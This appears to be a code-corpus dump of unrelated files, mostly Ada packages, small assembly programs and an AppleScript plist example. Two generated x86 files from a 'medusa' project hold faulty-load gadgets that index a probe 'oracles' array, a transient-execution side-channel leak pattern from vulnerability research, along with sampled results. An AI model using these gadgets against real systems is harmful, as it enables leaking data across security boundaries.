00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
source/a-assert.ads
ytomino/drake
33
27759
<filename>source/a-assert.ads pragma License (Unrestricted); package Ada.Assertions is pragma Pure; Assertion_Error : exception with Export, Convention => Ada, External_Name => "assertion_error"; -- modified -- Assert reports the source location if it's called without a message. -- procedure Assert (Check : Boolean); -- procedure Assert (Check : Boolean; Message : String); procedure Assert ( Check : Boolean; Message : String := Debug.Source_Location); -- extended procedure Raise_Assertion_Error ( Message : String := Debug.Source_Location); pragma No_Return (Raise_Assertion_Error); -- Note: Raise_Assertion_Error is called by pragma Assert. end Ada.Assertions;
Transynther/x86/_processed/NC/_st_zr_sm_/i9-9900K_12_0xa0_notsx.log_21829_858.asm
ljhsiun2/medusa
9
166751
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x1b463, %r12 nop sub %r15, %r15 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 movups %xmm3, (%r12) nop nop xor $57799, %r15 lea addresses_normal_ht+0x11bbb, %rax nop and %r10, %r10 mov $0x6162636465666768, %rbp movq %rbp, (%rax) nop nop nop nop and $47192, %r10 lea addresses_WT_ht+0xf813, %r10 nop add %r13, %r13 movups (%r10), %xmm0 vpextrq $1, %xmm0, %rax nop nop nop add $52397, %rax lea addresses_A_ht+0x6901, %r12 nop nop nop nop nop cmp %rax, %rax movl $0x61626364, (%r12) nop and %r15, %r15 lea addresses_D_ht+0x12e33, %r15 nop nop nop add %r12, %r12 mov (%r15), %bp nop nop nop xor $54987, %rax lea addresses_WT_ht+0x10d93, %rsi lea addresses_A_ht+0xd093, %rdi nop nop sub %r12, %r12 mov $88, %rcx rep movsb nop add $46948, %r13 lea addresses_D_ht+0x8be6, %rsi lea addresses_UC_ht+0x15b73, %rdi nop cmp %rbp, %rbp mov $76, %rcx rep movsl nop nop and %rbp, %rbp lea addresses_WT_ht+0x17893, %rax nop nop xor %r15, %r15 mov (%rax), %cx nop nop nop nop cmp $684, %r12 lea addresses_WT_ht+0x6c93, %r15 nop nop nop nop xor $34402, %r12 movl $0x61626364, (%r15) nop nop nop nop dec %rax lea addresses_normal_ht+0xe9f7, %r10 nop nop nop nop nop xor $37618, %r12 mov (%r10), %r15 nop nop nop nop nop add %rax, %rax lea addresses_normal_ht+0x14026, %rcx nop nop nop add $47231, %r15 movb $0x61, (%rcx) cmp %r15, %r15 lea addresses_D_ht+0x773b, %rdi clflush (%rdi) and %r12, %r12 mov (%rdi), %r15w nop sub %r13, %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %rbp push %rbx push %rdx // Store mov $0x1ef16f0000000093, %rbx nop nop xor $32672, %rdx mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovaps %ymm2, (%rbx) nop nop nop nop nop sub %rdx, %rdx // Faulty Load mov $0x1ef16f0000000093, %r10 nop nop sub %r8, %r8 mov (%r10), %bx lea oracles, %r8 and $0xff, %rbx shlq $12, %rbx mov (%r8,%rbx,1), %rbx pop %rdx pop %rbx pop %rbp pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': True, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'58': 222, '00': 21607} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 58 00 00 00 00 */
code/1.asm
shan3275/asm
0
13991
SECTION .data msg: db "hello world!", 0x0a len: equ $-msg SECTION .text global _main kernel: syscall ret _main: mov rax,0x2000004 mov rdi,1 mov rsi,msg mov rdx,len call kernel mov rax,0x2000001 mov rdi,0 call kernel
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_836_1424.asm
ljhsiun2/medusa
9
20041
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r15 push %r8 push %rcx push %rdi push %rsi // Store lea addresses_UC+0x148cb, %r8 nop nop nop nop nop cmp %r15, %r15 mov $0x5152535455565758, %rdi movq %rdi, (%r8) nop nop dec %r15 // Store lea addresses_WT+0xe7c3, %r15 nop nop nop nop nop cmp $36900, %rsi mov $0x5152535455565758, %r12 movq %r12, (%r15) nop nop add $40725, %rcx // Faulty Load lea addresses_D+0x1d643, %r15 nop nop nop nop add $61336, %r12 mov (%r15), %r8 lea oracles, %r15 and $0xff, %r8 shlq $12, %r8 mov (%r15,%r8,1), %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'36': 836} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
repositories.ads
annexi-strayline/AURA
13
6074
<reponame>annexi-strayline/AURA<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- Ada User Repository Annex (AURA) -- -- Reference Implementation -- -- -- -- ------------------------------------------------------------------------ -- -- -- -- Copyright (C) 2020, ANNEXI-STRAYLINE Trans-Human Ltd. -- -- All rights reserved. -- -- -- -- Original Contributors: -- -- * <NAME> (ANNEXI-STRAYLINE) -- -- -- -- Redistribution and use in source and binary forms, with or without -- -- modification, are permitted provided that the following conditions are -- -- met: -- -- -- -- * Redistributions of source code must retain the above copyright -- -- notice, this list of conditions and the following disclaimer. -- -- -- -- * Redistributions in binary form must reproduce the above copyright -- -- notice, this list of conditions and the following disclaimer in -- -- the documentation and/or other materials provided with the -- -- distribution. -- -- -- -- * Neither the name of the copyright holder nor the names of its -- -- contributors may be used to endorse or promote products derived -- -- from this software without specific prior written permission. -- -- -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -- -- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -- -- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A -- -- PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -- -- OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -- -- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -- -- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -- -- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -- -- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -- -- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -- -- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -- -- -- ------------------------------------------------------------------------------ -- This package handles all actions related to the AURA repositories registered -- in a given AURA project, including checking-out subsystems, and verifying -- previously checked-out subsystems with Ada.Assertions; with Ada.Strings.Unbounded; with Ada.Containers.Vectors; with Progress; package Repositories is type Repository_Count is new Natural; subtype Repository_Index is Repository_Count range 1 .. Repository_Count'Last; Root_Repository: constant Repository_Index := Repository_Index'First; -- This repository automatically exists in all AURA projects, and is used to -- detach subsystems from any upstream repository, or to handle locally -- created subsystems type Repository_Format is (System, -- System repositories are special kinds of "local" repositories that -- have been precompiled into a set of per-subsystem shared libraries. -- -- The central repository location (which may not be the current -- directory) is expected to contain .ali files for all units within -- each subsystem, and a shared library file corresponding to each -- subsystem in a directory named "aura_lib". -- -- Central repositories are always cached (checked for changes). Any -- changes must be explicitly accepted by the user for any build process -- to succeed. -- -- Checked-out subsystems from System repositories are formed as -- symbolic links, and are never compiled. -- -- Subsystems checked-out from a System repository shall not have any -- dependencies on subsystems from any other repository. This is checked -- after all subsystems are checked-out, so it is up to the user to -- ensure that requisite subsystems are checkedout out from the same -- repository, or the process will fail. Local, -- Local repositories are simply a directory containing some set of -- AURA Subsystems (in their respective sub-directories). -- -- Snapshot is a recursive SHA1 hash of all files (except "dot files") in -- the repository path, in lexicographical order Git); -- A git repository. Snapshot is the full commit hash. type Repository_Cache_State is (Standby, -- The repository has been loaded but has not yet been needed, hence the -- cache state has not yet been evaluated Requested, -- The repository is needed to aquire some subsystems Available); -- Repository is cached (git), or exists and has been verified (local) package UBS renames Ada.Strings.Unbounded; type Repository (Format: Repository_Format := Local) is record Location : UBS.Unbounded_String; Snapshot : UBS.Unbounded_String; Cache_State : Repository_Cache_State := Standby; Cache_Path : UBS.Unbounded_String; -- Full path to the directory containing the repository case Format is when Local | System => null; when Git => Tracking_Branch: UBS.Unbounded_String; end case; end record; package Repository_Vectors is new Ada.Containers.Vectors (Index_Type => Repository_Index, Element_Type => Repository); --------------------------- -- Repository Operations -- --------------------------- procedure Initialize_Repositories; Initialize_Repositories_Tracker: aliased Progress.Progress_Tracker; -- Shall be called after the Registrar has completed entery of the project -- root directory -- -- Initialize_Repositories takes the following actions: -- -- 1. Clears the existing repository vector. -- -- 2. Checks for the existence of the root AURA package (aura.ads). -- - If it exists, it is checked for compatibility with this -- implementation -- - If it does not exist, it is generated, and then entered to the -- Registrar. -- * Note, the package will be inserted into the "Current Directory" -- -- 3. Checks for all AURA.Respository_X packages, processes them, -- and loads them into the internal list -- -- 4. Verifies the "local" repository (Index 1), and generates the spec -- if it does not already exist -- -- Initialize_Repositories is a sequential operation (and generally very -- quick), and so does not submit work orders or have a tracker. -- -- After calling Initialize_Repositories, any invalid specifications can -- be queried through the Repo's Valid component, and the error message -- can be extracted from the Parse_Errors component. -- -- The procedure Check_Repositories and it's associated tracker can be -- used to verify -- -- Initialize_Repositories may enter new units with the registrar. ------------------------ -- Repository Queries -- ------------------------ -- The following operations are all task-safe function Total_Repositories return Repository_Count; function Extract_Repository (Index: Repository_Index) return Repository; function Extract_All return Repository_Vectors.Vector; function Cache_State (Index: Repository_Index) return Repository_Cache_State; procedure Add_Repository (New_Repo : in Repository; New_Index: out Repository_Index); -- This also generates the associated spec file procedure Update_Repository (Index : in Repository_Index; Updated: in Repository); -- The repository at index Index is replaced by Updated. And the -- actual spec file is regenerated procedure Request_Cache (Index: in Repository_Index); -- Iff the current Cache is "Standby", it is set to "Requested" private procedure Update_Cache_State (Index : in Repository_Index; New_State: in Repository_Cache_State); -- Does not regenerate the spec file procedure Generate_Repo_Spec (Index: Repository_Index); -- Generates the corresponding Spec file for the repository at Index -- of the All_Repositories vector. If a file already exists, it is replaced. end Repositories;
source/oasis/program-lexical_elements.adb
reznikmm/gela
0
15057
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT ------------------------------------------------------------- package body Program.Lexical_Elements is --------- -- "<" -- --------- function "<" (Left, Right : Location) return Boolean is begin return Left.Line < Right.Line or (Left.Line = Right.Line and Left.Column < Right.Column); end "<"; --------- -- ">" -- --------- function ">" (Left, Right : Location) return Boolean is begin return Left.Line > Right.Line or (Left.Line = Right.Line and Left.Column > Right.Column); end ">"; ---------- -- "<=" -- ---------- function "<=" (Left, Right : Location) return Boolean is begin return not (Left > Right); end "<="; ---------- -- ">=" -- ---------- function ">=" (Left, Right : Location) return Boolean is begin return not (Left < Right); end ">="; ----------- -- First -- ----------- function First (Self : Lexical_Element_Vector'Class) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Element (Self.First_Index); end First; ---------------- -- From_Image -- ---------------- function From_Image (Self : Lexical_Element'Class) return Program.Text is Value : constant Location := Self.From; Line_Image : constant Wide_Wide_String := Value.Line'Wide_Wide_Image; Column_Image : constant Wide_Wide_String := Value.Column'Wide_Wide_Image; begin return Line_Image (2 .. Line_Image'Last) & ':' & Column_Image (2 .. Column_Image'Last); end From_Image; ---------- -- Last -- ---------- function Last (Self : Lexical_Element_Vector'Class) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Element (Self.Last_Index); end Last; end Program.Lexical_Elements;
src/units/exchange.asm
cburbridge/z80
18
29435
EX DE, HL EX AF, AF' EXX EX (SP), HL EX (SP), IX EX (SP), IY LDI LDIR LDD LDDR CPI CPIR CPD CPDR
source/nodes/program-nodes-formal_procedure_access_types.adb
optikos/oasis
0
10787
<gh_stars>0 -- Copyright (c) 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- package body Program.Nodes.Formal_Procedure_Access_Types is function Create (Not_Token : Program.Lexical_Elements.Lexical_Element_Access; Null_Token : Program.Lexical_Elements.Lexical_Element_Access; Access_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Protected_Token : Program.Lexical_Elements.Lexical_Element_Access; Procedure_Token : not null Program.Lexical_Elements .Lexical_Element_Access; Left_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access; Parameters : Program.Elements.Parameter_Specifications .Parameter_Specification_Vector_Access; Right_Bracket_Token : Program.Lexical_Elements.Lexical_Element_Access) return Formal_Procedure_Access_Type is begin return Result : Formal_Procedure_Access_Type := (Not_Token => Not_Token, Null_Token => Null_Token, Access_Token => Access_Token, Protected_Token => Protected_Token, Procedure_Token => Procedure_Token, Left_Bracket_Token => Left_Bracket_Token, Parameters => Parameters, Right_Bracket_Token => Right_Bracket_Token, Enclosing_Element => null) do Initialize (Result); end return; end Create; function Create (Parameters : Program.Elements.Parameter_Specifications .Parameter_Specification_Vector_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False; Has_Not_Null : Boolean := False; Has_Protected : Boolean := False) return Implicit_Formal_Procedure_Access_Type is begin return Result : Implicit_Formal_Procedure_Access_Type := (Parameters => Parameters, Is_Part_Of_Implicit => Is_Part_Of_Implicit, Is_Part_Of_Inherited => Is_Part_Of_Inherited, Is_Part_Of_Instance => Is_Part_Of_Instance, Has_Not_Null => Has_Not_Null, Has_Protected => Has_Protected, Enclosing_Element => null) do Initialize (Result); end return; end Create; overriding function Parameters (Self : Base_Formal_Procedure_Access_Type) return Program.Elements.Parameter_Specifications .Parameter_Specification_Vector_Access is begin return Self.Parameters; end Parameters; overriding function Not_Token (Self : Formal_Procedure_Access_Type) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Not_Token; end Not_Token; overriding function Null_Token (Self : Formal_Procedure_Access_Type) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Null_Token; end Null_Token; overriding function Access_Token (Self : Formal_Procedure_Access_Type) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Access_Token; end Access_Token; overriding function Protected_Token (Self : Formal_Procedure_Access_Type) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Protected_Token; end Protected_Token; overriding function Procedure_Token (Self : Formal_Procedure_Access_Type) return not null Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Procedure_Token; end Procedure_Token; overriding function Left_Bracket_Token (Self : Formal_Procedure_Access_Type) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Left_Bracket_Token; end Left_Bracket_Token; overriding function Right_Bracket_Token (Self : Formal_Procedure_Access_Type) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Right_Bracket_Token; end Right_Bracket_Token; overriding function Has_Not_Null (Self : Formal_Procedure_Access_Type) return Boolean is begin return Self.Null_Token.Assigned; end Has_Not_Null; overriding function Has_Protected (Self : Formal_Procedure_Access_Type) return Boolean is begin return Self.Protected_Token.Assigned; end Has_Protected; overriding function Is_Part_Of_Implicit (Self : Implicit_Formal_Procedure_Access_Type) return Boolean is begin return Self.Is_Part_Of_Implicit; end Is_Part_Of_Implicit; overriding function Is_Part_Of_Inherited (Self : Implicit_Formal_Procedure_Access_Type) return Boolean is begin return Self.Is_Part_Of_Inherited; end Is_Part_Of_Inherited; overriding function Is_Part_Of_Instance (Self : Implicit_Formal_Procedure_Access_Type) return Boolean is begin return Self.Is_Part_Of_Instance; end Is_Part_Of_Instance; overriding function Has_Not_Null (Self : Implicit_Formal_Procedure_Access_Type) return Boolean is begin return Self.Has_Not_Null; end Has_Not_Null; overriding function Has_Protected (Self : Implicit_Formal_Procedure_Access_Type) return Boolean is begin return Self.Has_Protected; end Has_Protected; procedure Initialize (Self : aliased in out Base_Formal_Procedure_Access_Type'Class) is begin for Item in Self.Parameters.Each_Element loop Set_Enclosing_Element (Item.Element, Self'Unchecked_Access); end loop; null; end Initialize; overriding function Is_Formal_Procedure_Access_Type_Element (Self : Base_Formal_Procedure_Access_Type) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Formal_Procedure_Access_Type_Element; overriding function Is_Formal_Access_Type_Element (Self : Base_Formal_Procedure_Access_Type) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Formal_Access_Type_Element; overriding function Is_Formal_Type_Definition_Element (Self : Base_Formal_Procedure_Access_Type) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Formal_Type_Definition_Element; overriding function Is_Definition_Element (Self : Base_Formal_Procedure_Access_Type) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Definition_Element; overriding procedure Visit (Self : not null access Base_Formal_Procedure_Access_Type; Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is begin Visitor.Formal_Procedure_Access_Type (Self); end Visit; overriding function To_Formal_Procedure_Access_Type_Text (Self : aliased in out Formal_Procedure_Access_Type) return Program.Elements.Formal_Procedure_Access_Types .Formal_Procedure_Access_Type_Text_Access is begin return Self'Unchecked_Access; end To_Formal_Procedure_Access_Type_Text; overriding function To_Formal_Procedure_Access_Type_Text (Self : aliased in out Implicit_Formal_Procedure_Access_Type) return Program.Elements.Formal_Procedure_Access_Types .Formal_Procedure_Access_Type_Text_Access is pragma Unreferenced (Self); begin return null; end To_Formal_Procedure_Access_Type_Text; end Program.Nodes.Formal_Procedure_Access_Types;
libsrc/spectrum/if1_write_record.asm
dex4er/deb-z88dk
1
24308
<filename>libsrc/spectrum/if1_write_record.asm ; ; ZX IF1 & Microdrive functions ; write a new record for the current buffer ; ; if1_write_record (int drive, struct M_CHAN buffer); ; ; This one is similar to "write sector" but fixes the record header. ; It is necessary to load a copy of the microdirve MAP and to pass it ; putting its location into the record structure.; ; ; $Id: if1_write_record.asm,v 1.2 2007/07/07 14:26:48 stefano Exp $ ; XLIB if1_write_record filename: defm 3 if1_write_record: rst 8 defb 31h ; Create Interface 1 system vars if required ld ix,2 add ix,sp ld a,(ix+2) ld hl,-1 and a ; drive no. = 0 ? ret z ; yes, return -1 dec a cp 8 ; drive no. >8 ? ret nc ; yes, return -1 inc a ;push af ld ($5cd6),a ld hl,1 ld ($5cda),hl ; filename length ld hl,filename ; filename location ld (5cdch),hl ; pointer to filename ld l,(ix+0) ; buffer ld h,(ix+1) push hl pop ix rst 8 defb 26h ; Write Record ;pop ix ;rst 8 ;defb 23h ; (close) ;rst 8 ;defb 2Ch ; reclaim buffer xor a rst 8 defb 21h ; Switch microdrive motor off (a=0) ret
AppleScript/add Property List Item.applescript
scriptingosx/PR3ForAppleAdmins
20
2662
tell application "System Events" set sample_file to file "sample.plist" of container of (path to me) set sample_plist to property list file (path of sample_file) set theDates to property list item "calendar dates for 2017" of sample_plist make new property list item at end of theDates with properties {kind:date, name:"TIL about Property Lists", value:current date} end tell
programs/oeis/055/A055899.asm
jmorken/loda
1
20824
